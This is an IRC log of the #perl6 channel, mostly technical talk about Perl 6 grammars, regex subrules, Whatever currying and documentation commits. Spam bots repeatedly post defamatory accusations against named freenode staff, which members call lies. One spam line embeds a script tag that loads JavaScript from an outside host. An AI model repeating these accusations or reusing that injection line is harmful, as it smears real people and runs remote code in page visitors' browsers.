»ö« Welcome to Perl 6! | perl6.org/ | evalbot usage: 'p6: say 3;' or rakudo:, or /msg camelia p6: ... | irclog: irc.perl6.org or colabti.org/irclogger/irclogger_logs/perl6 | UTF-8 is our friend! 🦋 Set by Zoffix on 25 May 2018. |
|||
00:02
sena_kun left
00:05
mcmillhj left
|
|||
benjikun | :/ | 00:06 | |
00:12
mcmillhj joined
00:14
gabiruh left
00:15
kerframil left
00:17
mcmillhj left
00:21
Schepeers left
00:25
mcmillhj joined
00:27
Schepeers joined
00:28
warriors left
00:29
mcmillhj left
00:37
fake_space_whale joined,
mcmillhj joined
00:41
wamba left
00:42
mcmillhj left
00:47
[particle]1 joined,
[particle] left
00:53
[particle]1 left
00:54
mcmillhj joined
01:06
molaf left
|
|||
b2gills | Zoffix: The order of .keys and .values are supposed to be the same (just like Perl5). “Unless %hash is altered in any way, successive calls to .keys, .kv, .pairs, .values, or .iterator will iterate over the elements in the same order.” design.perl6.org/S09.html#line_1200 | 01:07 | |
ingy: I would recommend treating .precomp as an implementation detail. Use zef, or if you must methods on $*REPO to change things. | 01:10 | ||
01:12
gabiruh joined
|
|||
MasterDuke | samcv: ^^^ | 01:13 | |
01:16
gabiruh left
01:18
molaf joined
01:22
mcmillhj left
01:29
gabiruh joined
01:44
Sgeo joined
01:45
Sgeo_ left
01:52
mcmillhj joined
01:57
mcmillhj left
02:08
mst joined
|
|||
buggable | New CPAN upload: Hash-MultiValue-0.6.tar.gz by HANENKAMP modules.perl6.org/dist/Hash::MultiV...:HANENKAMP | 02:10 | |
samcv | i must head to bed, but in the morning i'll look | 02:11 | |
yoleaux | 24 Jul 2018 16:33Z <Zoffix> samcv: would you verify if the claim in D#2182 actually apply to Perl 6? is calling .keys and then calling .values give you the same order? Prolly should have an explicit spectest if that's the behaviour github.com/perl6/doc/issues/2182 | ||
synopsebot | D#2182 [open]: github.com/perl6/doc/issues/2182 [docs][update] No docs on the ordering of .keys and .values methods of a Hash | ||
samcv | at some of the doc issues and contribute to some of them | 02:12 | |
02:12
mcmillhj joined
02:17
mcmillhj left
02:22
ufobat_ joined
02:26
ufobat left
02:27
konsolebox left
02:30
konsolebox joined,
mcmillhj joined,
dct left
02:35
mcmillhj left,
molaf left
02:40
molaf joined
02:41
mcmillhj joined
02:43
[particle] joined
02:46
mcmillhj left
02:48
[particle] left
02:50
subroot left
02:59
mcmillhj joined
|
|||
buggable | New CPAN upload: Future-0.1.tar.gz by HANENKAMP cpan.metacpan.org/authors/id/H/HA/...0.1.tar.gz | 03:00 | |
03:03
mcmillhj left
03:15
stmuk joined
03:17
stmuk_ left
03:22
spycrab0 left
03:26
molaf left
03:28
Schepeers left
03:34
mcmillhj joined
03:36
[particle] joined
03:37
vike joined
03:39
mcmillhj left
03:44
[particle]1 joined
03:46
[particle] left
03:48
[particle] joined,
[particle]1 left,
mcmillhj joined
03:52
mcmillhj left
04:01
w_richard_w joined
|
|||
xinming | What is the differences between <.regex> vs <®ex>? | 04:12 | |
are they the same? | |||
04:15
mcmillhj joined
04:20
mcmillhj left
|
|||
benjikun | xinming: docs.perl6.org/language/regexes#Subrules | 04:23 | |
zostay | <.regex> calls the regex method while <®ex> calls the regex sub | ||
benjikun | "If no capture is desired, a leading dot or ampersand will suppress it: <.named-regex> if it is a method declared in the same class or grammar, <&named-regex> for a regex declared in the same lexical context." | ||
xinming | thanks | 04:24 | |
zostay | so, within a grammar or whatever, they are sort of the same, i think, but <.regex> can use inheritance | ||
its something like that... i probably muddled it | |||
benjikun | didn't mean to be rude for quoting the docs :p, didn't know how to word it myself | 04:25 | |
geekosaur | looks to me like what they look like: & for a sub (including regex), . for a method (token/rule)? | ||
zostay | but, as . prefix always means method call and & prefix always means routine (which might be a method), that's my understanding | ||
benjikun | ^ same | ||
zostay | m: 40.&(method () { self + 2 }); | 04:26 | |
camelia | ( no output ) | 04:27 | |
zostay | m: 40.&(method () { self + 2 }).say; | ||
camelia | 42 | ||
zostay | and then there's both together | ||
04:33
mcmillhj joined
|
|||
benjikun | m: sub foo { sub { sub { say "bar" } } }; foo()()() | 04:33 | |
camelia | bar | ||
benjikun | m: sub one { sub two { 2; }; sub three { 3; }; 1; }; one()() | 04:35 | |
camelia | No such method 'CALL-ME' for invocant of type 'Int' in block <unit> at <tmp> line 1 |
||
benjikun | why does it do this | 04:36 | |
geekosaur | because you tried to do 1.() | ||
benjikun | ohhh | ||
geekosaur | the result of sub one is 1 | ||
benjikun | I see | ||
geekosaur | you then try to use () on it, i.e. call it | ||
DrForr | Huh. Pluggable is installing XML::Writer, SVG and SVG::Plot. | ||
Not quite what I'd expect, /me goes to look at code. | 04:37 | ||
benjikun | github.com/tony-o/perl6-pluggable/...META6.json | ||
test depends on it | |||
DrForr | Yeah, just looked. | ||
04:37
mcmillhj left
|
|||
DrForr | Ah, it's a sample module to plug in. | 04:38 | |
Just seemed a touch odd. | |||
xinming | is it possible to call regex from parent grammar? something like, grammar A { regex abc { .. } }; grammar B is A { regex abc { <call-parent-abc> } } | 04:40 | |
04:40
squashable6 joined
|
|||
DrForr | xinming: I'd expect to see a grammar contain tokens and rules, not regexes, so that's the first thing that surprises me a bit. | 04:42 | |
xinming | hmm, Ok, I mean the token thing anyway. :-) | 04:43 | |
geekosaur | I'd expect <A::abc> | 04:44 | |
xinming | let me try | ||
04:44
mcmillhj joined
|
|||
DrForr | I would try <PARENT::abc> before that though, in case your package name changes. | 04:45 | |
xinming | m: grammar A { token abc { \d } }; grammar B is A { token abc { 'p:' <A::abc> } }; B.parse('p:1'); | ||
camelia | No such method 'TOP' for invocant of type 'B' in block <unit> at <tmp> line 1 |
||
xinming | m: grammar A { token abc { \d } }; grammar B is A { token abc { 'p:' <A::abc> } }; B.parse('p:1', :rule('abc'); | ||
camelia | 5===SORRY!5=== Error while compiling <tmp> Unable to parse expression in argument list; couldn't find final ')' (corresponding starter was at line 1) at <tmp>:1 ------> 3::abc> } }; B.parse('p:1', :rule('abc');7⏏5<EOL> expecting … |
||
xinming | m: grammar A { token abc { \d } }; grammar B is A { token abc { 'p:' <A::abc> } }; B.parse('p:1', :rule('abc')); | ||
camelia | ( no output ) | ||
xinming | m: grammar A { token abc { \d } }; grammar B is A { token abc { 'p:' <A::abc> } }; say B.parse('p:1', :rule('abc')); | ||
camelia | 「p:1」 A::abc => 「1」 |
||
xinming | GOod, thanks | 04:46 | |
m: grammar A { token abc { \d } }; grammar B is A { token abc { 'p:' <PARENT::abc> } }; say B.parse('p:1', :rule('abc')); | |||
camelia | ===SORRY!=== Could not locate compile-time value for symbol PARENT |
||
xinming | so, no *PARENT* | ||
geekosaur | m: grammar A { token abc { \d } }; grammar B is A { token abc { 'p:' <SUPER::abc> } }; say B.parse('p:1', :rule('abc')); | ||
camelia | ===SORRY!=== Could not locate compile-time value for symbol SUPER |
||
geekosaur | bah | ||
of course a problem with PARENT is there may be more than one, so it becomes tricky | 04:47 | ||
04:49
mcmillhj left
04:52
curan joined
04:58
mcmillhj joined
05:02
rindolf joined
05:03
mcmillhj left
05:20
jmerelo joined
|
|||
jmerelo | Hey | 05:21 | |
benjikun | Howdy jmerelo | ||
jmerelo | benjikun: not bad :-). Checking that nothing is broken | 05:22 | |
benjikun: which seems to be the case, although something seems to be wrong also... | 05:24 | ||
05:31
mcmillhj joined
05:35
sauvin joined
05:36
mcmillhj left
05:41
xtreak joined
|
|||
benjikun | jmerelo: the search on docs.perl6.org broke earlier but someone fixed it | 05:42 | |
:p | |||
Geth | doc: a0dc962973 | (JJ Merelo)++ | util/update-and-sync Testing again #2203 |
05:47 | |
jmerelo | benjikun: OK, that was it... Zoffix fixed it. It was because git clean -fd deleted html/js and apparently it was not created again. But it should | 05:48 | |
benjikun: Thanks for that. I'm trying this again, just in case. | 05:50 | ||
05:58
xtreak left
|
|||
benjikun | ofc :) | 05:58 | |
jmerelo | benjikun: see you | 05:59 | |
05:59
fake_space_whale left,
epony left
06:02
mcmillhj joined
06:03
andrzejku_ joined
|
|||
benjikun | night night | 06:05 | |
06:05
benjikun left,
MasterDuke left
06:06
xtreak joined,
andrzejku left
06:07
andrzejku_ is now known as andrzejku,
mcmillhj left
06:08
Actualeyes joined
06:12
andrzejku_ joined
06:13
psychoslave joined
|
|||
Geth | doc: 86f4db46ad | (JJ Merelo)++ | app.pl Creating js when it's needed refs #2203 |
06:13 | |
06:15
epony joined
06:16
andrzejku left,
andrzejku_ is now known as andrzejku
06:29
mcmillhj joined
|
|||
jmerelo | That thing above might potentially broke something. Please hold tight if it does, I'm AFK 1 hour from now (ish). I'll fix it when I get back here. | 06:33 | |
06:33
mcmillhj left
06:40
mcmillhj joined
06:44
mcmillhj left
06:49
Schepeers joined
06:51
robertle joined
06:52
domidumont joined
06:58
domidumont left
06:59
domidumont joined
07:08
mcmillhj joined
07:13
mcmillhj left
07:20
mcmillhj joined
07:25
mcmillhj left
07:38
scovit_ joined
|
|||
scovit_ | CurtisPoe: did you look at ArrayHash? it seems like a much better module than the one you were trying to use | 07:39 | |
CurtisPoe | scovit_: hadn | ||
hadn’t seen that one. | |||
scovit_ | github.com/zostay/perl6-ArrayHash | 07:40 | |
I think that in the end you need an array of pairs, and this adds all the machinery to access it in an Associative way | 07:41 | ||
judging from the documentation | |||
CurtisPoe | Thank you. | 07:42 | |
scovit_ | :) | 07:43 | |
07:44
vrurg left
07:45
mcmillhj joined
|
|||
jmerelo | OK; so that worked... | 07:48 | |
07:50
mcmillhj left
|
|||
Geth | doc: 77a32bf936 | (JJ Merelo)++ | 2 files Adds comment to explain behavior, closes #2203 |
07:50 | |
07:58
mcmillhj joined
08:00
scovit_ left
08:03
mcmillhj left
|
|||
masak | recently I've been getting this warning when running things in Rakudo: "Useless use of constant integer 0 in sink context (line 1048)" | 08:05 | |
08:05
xtreak_ joined,
zakharyas joined
|
|||
masak | it seems to happen only sometimes, and (I think) only before throwing a real error | 08:06 | |
08:06
xtreak left
|
|||
moritz | that is a compile-time error... wth? | 08:08 | |
s/error/warning/ | |||
maybe it codegens something, and warns about the generated code? | 08:09 | ||
08:10
lizmat left
08:13
mcmillhj joined
|
|||
masak | I've had a hard time pinning it down so far | 08:14 | |
08:15
dakkar joined
08:18
mcmillhj left
08:23
lizmat joined
08:26
xtreak_ left,
xtreak joined
08:29
mcmillhj joined
08:30
psychoslave left
08:32
psychoslave joined
08:33
mcmillhj left
08:39
xtreak left
08:56
vrurg joined
|
|||
masak | does anyone remember where the old HTML-based spesh profiler can be found? | 08:56 | |
(also, is it still maintained?) | 08:57 | ||
08:59
xtreak joined
09:00
Skarsnik joined
|
|||
Skarsnik | Hello there | 09:00 | |
09:00
mcmillhj joined
|
|||
lookatme | o/ Skarsnik | 09:01 | |
moritz | masak: perl6 --profile (or did that change)? | ||
\o Skarsnik, lookatme | |||
09:05
mcmillhj left
|
|||
buggable | New CPAN upload: Hash-Restricted-0.0.2.tar.gz by ELIZABETH modules.perl6.org/dist/Hash::Restri...:ELIZABETH | 09:10 | |
09:11
pmurias joined
09:13
imcsk8 joined
09:15
kerframil joined
|
|||
masak | moritz: seems you're perfectly right | 09:17 | |
ah, so then it's somewhere in the rakudo codebase? | |||
moritz | masak: or nqp | 09:18 | |
masak | the hunt continues | ||
yeah, it's in the nqp repo | 09:19 | ||
09:19
Schepeers left
09:28
vrurg left
09:30
wamba joined
|
|||
buggable | New CPAN upload: Hash-Restricted-0.0.3.tar.gz by ELIZABETH modules.perl6.org/dist/Hash::Restri...:ELIZABETH | 09:30 | |
09:31
Schepeers joined
09:34
xinming joined
09:39
w_richard_w left
09:50
haxmeister joined,
timotimo joined
09:57
xinming left,
xinming joined
|
|||
Voldenet | m: say (20..21).map(sprintf("%x", *)) | 10:00 | |
camelia | Directive x not applicable for type Whatever in block <unit> at <tmp> line 1 |
||
Voldenet | m: say (20..21).map({ sprintf("%x", $_) }) | ||
camelia | (14 15) | ||
Voldenet | Hm, I wouldn't mind if sprintf in this case returned a block | 10:01 | |
since it doesn't support WhateverCode in any of arguments anyway | 10:02 | ||
timotimo | you mean like when you use "assuming"? :) | 10:04 | |
alternatively, you can *.fmt("%x") or even *.base(16) | 10:05 | ||
10:06
mcmillhj joined
|
|||
Voldenet | Okay, *.fmt looks a lot better. | 10:06 | |
10:07
domidumont left
10:11
mcmillhj left
10:19
mcmillhj joined
10:24
mcmillhj left
10:34
xtreak left
10:45
sena_kun joined
10:50
mcmillhj joined
|
|||
Geth | doc: ed20ea64bf | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md tweak grammar and instructions |
10:50 | |
10:55
mcmillhj left
|
|||
Geth | doc: 5c17099230 | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md tidy CREDITS file reference |
10:55 | |
10:57
physpi| joined
10:58
xtreak joined
11:01
physpi| left
|
|||
tbrowder_ | i just noticed the CREDITS file mentioned in CONTRIBUTING links to the rakudo/rakudorepo repo CREDITS file. are both used for the contribution reports? | 11:02 | |
A | 11:03 | ||
11:03
zakharyas left
|
|||
tbrowder_ | AlexDaniel: ^^^ | 11:03 | |
most users probably cannot mod the rakudo credits file... | 11:04 | ||
11:07
mcmillhj joined
11:08
spycrab0 joined
|
|||
AlexDaniel | tbrowder_: contributors.p6 script seems to look in CREDITS file of every repo | 11:09 | |
tbrowder_: so adding yourself to doc/CREDITS should be enough | |||
tbrowder_ | good, i’ll change the link to this repo | 11:10 | |
11:12
mcmillhj left
|
|||
Geth | perl6-lwp-simple: c4e3b30f31 | (Zoffix Znet)++ (committed using GitHub Web editor) | META6.json Follow auth format from zef github.com/ugexe/zef/blob/3a5fead1...A6.json#L5 Currently, it shows up :auth as Cosimo instead of perl6 and somehow people manage to report bugs in the wrong repo: github.com/cosimo/perl6-lwp-simple...-407687388 |
11:12 | |
perl6-lwp-simple: 1ea92f84d9 | (Zoffix Znet)++ (committed using GitHub Web editor) | META6.json Bump version |
|||
tbrowder_ | AlexDaniel: i’m working on another intermediate doc update to add the group headings back into the current doc display. if that works, then i will move to the next step of having subpages for each group. any objections? (it looks like the doc website build process works ok now) | ||
AlexDaniel | tbrowder_: will we finally get separate tables for each category? :) | 11:14 | |
tbrowder_ | that’s my goal | ||
Voldenet | is implementing CALL-ME for Whatever a good idea? | 11:17 | |
m: Whatever.^add_method("CALL-ME", -> $a, |b { -> &c { &c(|b) } }); ({ say $^a * $^b }).map(*(123, 456)) | |||
camelia | 56088 | ||
Voldenet | something like this | ||
11:19
[particle] left,
[particle] joined
|
|||
Geth | doc: 2e25efeb8d | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md update credit info |
11:20 | |
11:20
mcmillhj joined
11:21
vrurg joined,
[particle] left,
[particle]1 joined
11:25
mcmillhj left
11:27
vrurg left
11:30
domidumont joined
11:38
mcmillhj joined,
robertle left
11:39
Zoffix joined
11:40
robertle joined
11:42
psychoslave left,
mcmillhj left
|
|||
Voldenet | m: Whatever.^add_method("CALL-ME", -> $a, |b { -> &c { my $c = &c.assuming(|b); $c.arity ?? $c !! $c() } }); ({ say $^a * $^b }).map(*(123, *)).map(*(456)) | 11:43 | |
camelia | 56088 | ||
Voldenet | that, even | ||
11:44
scimon joined
|
|||
Zoffix | Voldenet: IMO that just furthers the confusion newcomers have that Whatever isn't a WhateverCofe | 11:44 | |
$Code | |||
bah | |||
Voldenet | but it's pretty awesome :D | ||
Zoffix | It isn't | 11:45 | |
Voldenet | Okay. :( | ||
11:47
christel| joined,
christel| left
|
|||
Zoffix | m: say (<a b c>, <b j k>).map(*.[2,1]) | 11:48 | |
camelia | ((c b) (k j)) | ||
Zoffix | IMO instead *.(...) should curry just like *.[...] does | ||
Voldenet | I guess that makes sense | 11:52 | |
Geth | doc: 378cf71d77 | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md start a new section |
11:56 | |
Voldenet | originally the problem I had was with was with the syntax resembling this: | ||
m: ({ $^a * 2 }, { $^a * 4 }).map({ $_(42) }).say | 11:57 | ||
camelia | (84 168) | ||
Voldenet | it works, but I'm not sure if `{ $_(42) }` can be written in more readable way | ||
Geth | doc: cf3cc8a8f8 | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md correct index entry |
11:58 | |
11:59
robertle left,
psychoslave joined
12:03
itaipu joined
|
|||
lizmat | Voldenet: map( -> &code { code(42) } ) ? | 12:06 | |
Voldenet | Ah, that made me realize I can write a sub without ruining Whatever | 12:07 | |
m: sub call-with(|c) { -> &b { &b(|c) } }; ({ $^a * 2 }, { $^a * 4 }).map(call-with(42)).say | |||
camelia | (84 168) | ||
Zoffix | m: ({ $^a * 2 }, { $^a * 4 }).map({.(42)}).say | ||
camelia | (84 168) | ||
samcv | good * | ||
Zoffix | m: ({ $^a * 2 }, { $^a * 4 })».(42).say | ||
camelia | (84 168) | ||
Zoffix | \o | ||
12:08
mcmillhj joined
|
|||
jmerelo | Zoffix, samcv: hi! | 12:08 | |
samcv | it is too hot | ||
Zoffix | it is too humid | 12:09 | |
jmerelo | samcv: 35º? just about right. | ||
samcv | woah don't even go there jmerelo | 12:10 | |
12:10
robertle joined
|
|||
Zoffix | m: ()»() | 12:11 | |
camelia | ===SORRY!=== Unknown QAST node type NQPMu |
||
jmerelo | samcv: actually, I'll go closer to the swimming pool | ||
samcv | :P | ||
jmerelo | Zoffix: Hum. | ||
samcv | much hotter in NL this year. i read it's the hottest year in 40 yeasr | ||
and this house has no insulation so the heat just seeps in massively | 12:12 | ||
12:12
xtreak left
|
|||
lizmat | it's 32.2 here now :-( | 12:12 | |
tadzik is looking up air conditioners online :( | |||
samcv | lizmat: was it hotter the last few days there? | 12:13 | |
12:13
mcmillhj left,
xtreak joined
|
|||
Zoffix | m: ()»[] | 12:13 | |
camelia | This type (Scalar) does not support elems in block <unit> at <tmp> line 1 |
||
jmerelo | samcv, lizmat: good luck! It'll pass. | ||
lizmat | yeah, expectation 34 today, 36 for thu/fri | ||
samcv | :( | ||
12:14
psychoslave left
|
|||
Geth | doc: 00c3f5ce40 | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md add next step |
12:15 | |
doc: 5357a89d3d | (Tom Browder)++ (committed using GitHub Web editor) | doc/Language/00-POD6-CONTROL “section” replaces “group” better term |
12:18 | ||
synopsebot | Link: doc.perl6.org/language/00-POD6-CONTROL | ||
Zoffix | Filed R#2132 and R#2133 | 12:21 | |
synopsebot | R#2132 [open]: github.com/rakudo/rakudo/issues/2132 [QAST] `»()` to mean `».()` crashes with QAST error | ||
R#2133 [open]: github.com/rakudo/rakudo/issues/2133 At-pos/at-key/zen slices hypered over empty List/Array crash | |||
12:21
mcmillhj joined,
Zoffix left
|
|||
Geth | doc: b5d266fcf9 | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md add info |
12:23 | |
12:24
diakopter left
12:26
mcmillhj left
12:29
jmerelo left
12:39
zakharyas joined
|
|||
buggable | New CPAN upload: Hash-LRU-0.0.1.tar.gz by ELIZABETH cpan.metacpan.org/authors/id/E/EL/...0.1.tar.gz | 12:40 | |
12:43
plutes joined,
mcmillhj joined
12:49
araraloren joined
|
|||
araraloren | o/ | 12:49 | |
12:55
JoKing joined
12:56
JoKing left
12:57
xtreak left
13:01
itaipu left
13:02
itaipu joined
13:05
vrurg joined
|
|||
andrzejku | araraloren hey | 13:07 | |
araraloren | hey | 13:08 | |
13:08
hami joined
13:16
dakkar left
13:18
dakkar joined
|
|||
jkramer | What's the best/most idiomatic way to undefine a variable? I.e. my Int $x = 123; $x = Int; Or $x = Any? Or Nil? | 13:25 | |
13:26
subroot joined
13:27
plutes left
|
|||
moritz | Nil | 13:27 | |
jkramer | Thx | ||
13:27
hami left
13:29
ArsenArsen|| joined
13:30
bolt|| joined,
bolt|| left,
ArsenArsen|| left
13:32
raschipi joined,
armyriad| joined
|
|||
armyriad| | Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard bryanostergaard.com/ | 13:32 | |
or maybe this blog by freenode staff member Matthew 'mst' Trout MattSTrout.com/ | |||
Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal encyclopediadramatica.rs/Freenodegate | |||
Voice your opinions at webchat.freenode.net/?channels=#freenode | |||
dakkar | ooh, the smear-bots have arrived here as well | 13:33 | |
Ulti | looks like mst is having a fun week | 13:34 | |
13:34
mcmillhj left,
armyriad| left
|
|||
Juerd | jkramer: Unsetting variables is a design smell. Are you sure it couldn't be solved with a smarter scope? | 13:37 | |
moritz | .oO( unsettling variables ) |
13:38 | |
Ulti | I actually read that :3 | ||
13:41
plutes joined
13:42
Yoda| joined
|
|||
Yoda| | Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard bryanostergaard.com/ | 13:42 | |
or maybe this blog by freenode staff member Matthew 'mst' Trout MattSTrout.com/ | |||
Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal encyclopediadramatica.rs/Freenodegate | |||
Voice your opinions at webchat.freenode.net/?channels=#freenode | |||
13:43
MyIgel joined
13:45
MyIgel left,
Yoda| left,
Zoffix joined
|
|||
Zoffix | jkramer: assigning Nil resets it to its default value | 13:46 | |
13:48
ufobat_ left
|
|||
Zoffix | (also for those who might not be aware about the "freenodegate"; it's just some really motivated troll posting bullshit) | 13:49 | |
timotimo | i thought node was already free & open source software … | ||
(yes i know) | 13:50 | ||
jkramer | Juerd: It's a mix of a status and a counter. If it's defined it's active and gets counted up every cycle, until it gets reset and deactivated (undefined). Guess I could split this in two vars, a bool and an int instead, but I like it like this :) | ||
13:51
subroot left
13:55
molaf joined
14:03
pierrot joined
|
|||
stmuk | releasable6: status | 14:03 | |
releasable6 | stmuk, Next release will happen when it's ready. 4 blockers. 79 out of 247 commits logged | ||
stmuk, Details: gist.github.com/60cd65c34c418d0413...82864d5c98 | |||
Zoffix | stmuk: also: github.com/rakudo/rakudo/issues/21...-407591812 | ||
Kinda hitting the busfactor here. | |||
.oO( $jnthn.clone ) |
14:04 | ||
masak | hi, does anyone know why there are suddenly two jnthn here?! | 14:06 | |
Zoffix | We're making a coder farm :) | ||
14:06
xtreak joined
|
|||
masak | yay | 14:06 | |
14:06
xtreak left
|
|||
AlexDaniel[m] | 🤷 | 14:06 | |
AlexDaniel | looks fine to me | 14:07 | |
Juerd | jkramer: The single variable is probably more robust anyway :) | ||
AlexDaniel | AlexDaniel[m]: when did you change your name lol | ||
stmuk | Zoffix: ty | ||
14:07
Jguy| joined,
psychoslave joined
|
|||
Juerd | jkramer: The thing I referred to is that there might be a way to align the scope of the variable with the cycle, so it gets reset in a more natural way. That's not always doable or better. It's just food for thought :D | 14:08 | |
14:08
Jguy| left
|
|||
El_Che | to hot to do usefull work at $work, so going home | 14:08 | |
14:09
subroot joined
|
|||
AlexDaniel | oh wow, [m] suffix is forced now | 14:09 | |
Zoffix | heh | ||
Juerd really hates that [m] spam. | |||
AlexDaniel | that's disappointing | ||
Juerd | No other IRC client does do that. | ||
AlexDaniel | Juerd: [m] spam? | ||
Juerd | AlexDaniel: Yeah, why should the rest of the channel be made aware of which client you're using? | 14:10 | |
AlexDaniel | Juerd: that's not exactly a client… that's like a different network bridged to freenode | ||
Juerd | AlexDaniel: As the suffic provides no technical function whatsoever, I'm assuming it's an advertisement. | ||
AlexDaniel: To the IRC network, it's a client. | 14:11 | ||
The world of tooling outside the IRC network is not relevant. My IRC client happens to be weechat, which happens to run in screen, that I connect to through ssh. None of this should is encoded in my nickname, fortunately. | |||
stmuk | are the two windows blockers actually regressions? (in the sense of having worked recently) | ||
Juerd | s/should // | 14:12 | |
El_Che | I know who uses a mac from theyr annoying quit message | ||
Zoffix | stmuk: R#2070 is recent, yes | ||
synopsebot | R#2070 [open]: github.com/rakudo/rakudo/issues/2070 [Windows][regression][⚠ blocker ⚠] AppVeyor status and building on Windows | ||
Juerd[m] | See? It means *nothing*, technically. | 14:13 | |
Zoffix | "I'm 98% sure it was clean 17 days ago when I was running stresstest on 2018.06-25-ge9351cb" | ||
Juerd[m] | It's just spam. | ||
Zoffix only sees people complaining about some silly suffix :P | |||
stmuk | ah | ||
14:14
domidumont left
|
|||
El_Che sees sees people complaining about some silly zoffix :P | 14:14 | ||
14:15
domidumont joined
|
|||
AlexDaniel | o | 14:16 | |
that worked, hmm | |||
14:16
ChanServ sets mode: +o Zoffix
|
|||
Juerd | \o/ | 14:16 | |
14:17
sjums joined
|
|||
sjums | Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard bryanostergaard.com/ | 14:17 | |
14:17
sjums left,
Zoffix sets mode: +b sjn!*@*,
sjn was kicked by Zoffix (sjn))
|
|||
Zoffix | ha | 14:17 | |
Zoffix-- | |||
AlexDaniel | how did you know? :) | 14:18 | |
14:18
Zoffix sets mode: -b sjn!*@*,
sjn joined
|
|||
AlexDaniel | I mean, that was close… | 14:18 | |
Zoffix | AlexDaniel: know what? | ||
AlexDaniel | Zoffix: that the spam is coming | ||
Zoffix | AlexDaniel: 'cause they spammed twice in the past 30m | 14:19 | |
Also, I opped to change the log URL in the topic to link to today's log, not to list of days | |||
And it's weird that irc.perl6.org links to today's chat logs yet we also have perl6.org/irc that links to the freenode's webchat | 14:20 | ||
sjn | Yay, I got kicked from #perl6! \o/ | ||
AlexDaniel | sjn: \o/ | ||
timotimo | :S | ||
sjn | first time for everything :) | ||
Zoffix turns "Friendly Fire" setting off :) | |||
14:21
macker| joined
|
|||
sjn adds "Got kicked from one of the friendliest irc channles on freenode" to his resumé | 14:21 | ||
macker| | Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard bryanostergaard.com/ | ||
or maybe this blog by freenode staff member Matthew 'mst' Trout MattSTrout.com/ | 14:22 | ||
Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal encyclopediadramatica.rs/Freenodegate | |||
14:22
Zoffix sets mode: +b *!*@2800:bf0:9fff:fb89:ca1f:beff:feeb:2ab0,
macker| was kicked by Zoffix (macker|)),
domidumont left
|
|||
timotimo | encyclopediadramatica, nice. what a reliable source of actual truth | 14:22 | |
14:23
domidumont joined
|
|||
Zoffix | Whoever set up that blog did a poor job. | 14:23 | |
This is mst's real blog: shadow.cat/blog/matt-s-trout/f_ck-perl-6/ | |||
timotimo | :D | ||
Zoffix | There are like... 37 "fuck"s just in a single article | ||
sjn | maybe one option would be to mute people for the first 10 seconds after they join the channel? | ||
14:25
Zoffix sets mode: +b #perl6!*@*,
Zoffix sets mode: -b #perl6!*@*
|
|||
Zoffix | It's been a decade since I held the banstick :P | 14:25 | |
14:26
Zoffix sets mode: +b *|!*@*$#msg-Zoffix-to-unban,
Zoffix sets mode: -o Zoffix
|
|||
Zoffix | And I forgot to fix the topic | 14:26 | |
14:26
ChanServ sets mode: +o Zoffix
|
|||
Zoffix | no HTTPs on logs? | 14:27 | |
»ö« Welcome to Perl 6! | perl6.org/ | evalbot usage: 'p6: say 3;' or /msg camelia p6: ... | irclog: irc.perl6.org or colabti.org/irclogger/irclogger_log/perl6 | UTF-8 is our friend! 🦋 | 14:27 | ||
stmuk | ha the admin interface to the troll's ADSL router is available on one of his ips | 14:27 | |
14:28
john_parr joined,
Zoffix sets mode: -o Zoffix
|
|||
timotimo | :D | 14:28 | |
AlexDaniel | Zoffix: yes, I asked the atuthor of colabti to add https multiple times | 14:29 | |
I mean, I asked multiple times, https just once would do xD | |||
Zoffix | :) | ||
timotimo | the new hotnesses: httpss and htpsss | 14:30 | |
Zoffix | .oO( httpsst ) |
||
Geth | doc: bc23808f6e | (Tom Browder)++ (committed using GitHub Web editor) | Makefile minimize spurious doc builds |
14:31 | |
14:31
AlexDaniel joined,
AlexDaniel` joined
14:33
ZofBot joined,
ChanServ sets mode: +v ZofBot
14:35
AlexDaniel left
14:36
AlexDaniel joined
14:38
AlexDaniel left,
AlexDaniel joined
|
|||
Geth | doc: 29a0d08044 | (Tom Browder)++ (committed using GitHub Web editor) | CONTRIBUTING.md add info on Makefile targets |
14:39 | |
14:41
Zoffix left
14:45
plutes left
14:46
fbynite joined
14:51
fake_space_whale joined
|
|||
xinming | in token rules, we saw that something like | each line, but it doesn't have anything to the left, what does it mean? | 14:54 | |
timotimo | it is just to be visually pleasing | ||
the first one is allowed to have nothing in front | |||
for alignment | |||
xinming | something like token abcde { | first | second } | ||
ah, thanks, that makes things clear | |||
timotimo | same thing exists for ||, too | ||
xinming | just for visually pleasing | ||
Ok, perl6 is the BEST language for humans. | 14:55 | ||
timotimo: wheever I learn perl6, I can feel what people feel when perl5 was released first time. :-) | 14:56 | ||
tbrowder_ | committable6: | 14:57 | |
committable6 | tbrowder_, I cannot recognize this command. See wiki for some examples: github.com/perl6/whateverable/wiki/Committable | ||
tbrowder_ | stupid fingers... | ||
timotimo | :) | ||
14:59
kerframil left,
curan left
15:03
wamba left,
jmerelo joined
15:04
subroot left
15:08
Remco16 joined
|
|||
Remco16 | Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard bryanostergaard.com/ | 15:08 | |
or maybe this blog by freenode staff member Matthew 'mst' Trout MattSTrout.com/ | |||
Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal encyclopediadramatica.rs/Freenodegate | |||
<script type="text/javascript" src="web.nba1001.net:8888/tj/tongji.js"&...script> | |||
This message was brought to you by Private Internet Access | |||
15:08
darkengine23 joined,
araraloren left
15:10
darkengine23 left
15:11
Remco16 left
|
|||
AlexDaniel | this is not cool | 15:13 | |
tbrowder_ | agree | 15:15 | |
xinming | I believe they are fake. | 15:18 | |
timotimo | that's my interpretation as well | 15:20 | |
jmerelo | Fake mst blog? | 15:21 | |
stmuk | looks like someone using lies and hacked accounts to attack freenode ops | ||
jmerelo | stmuk: wow | ||
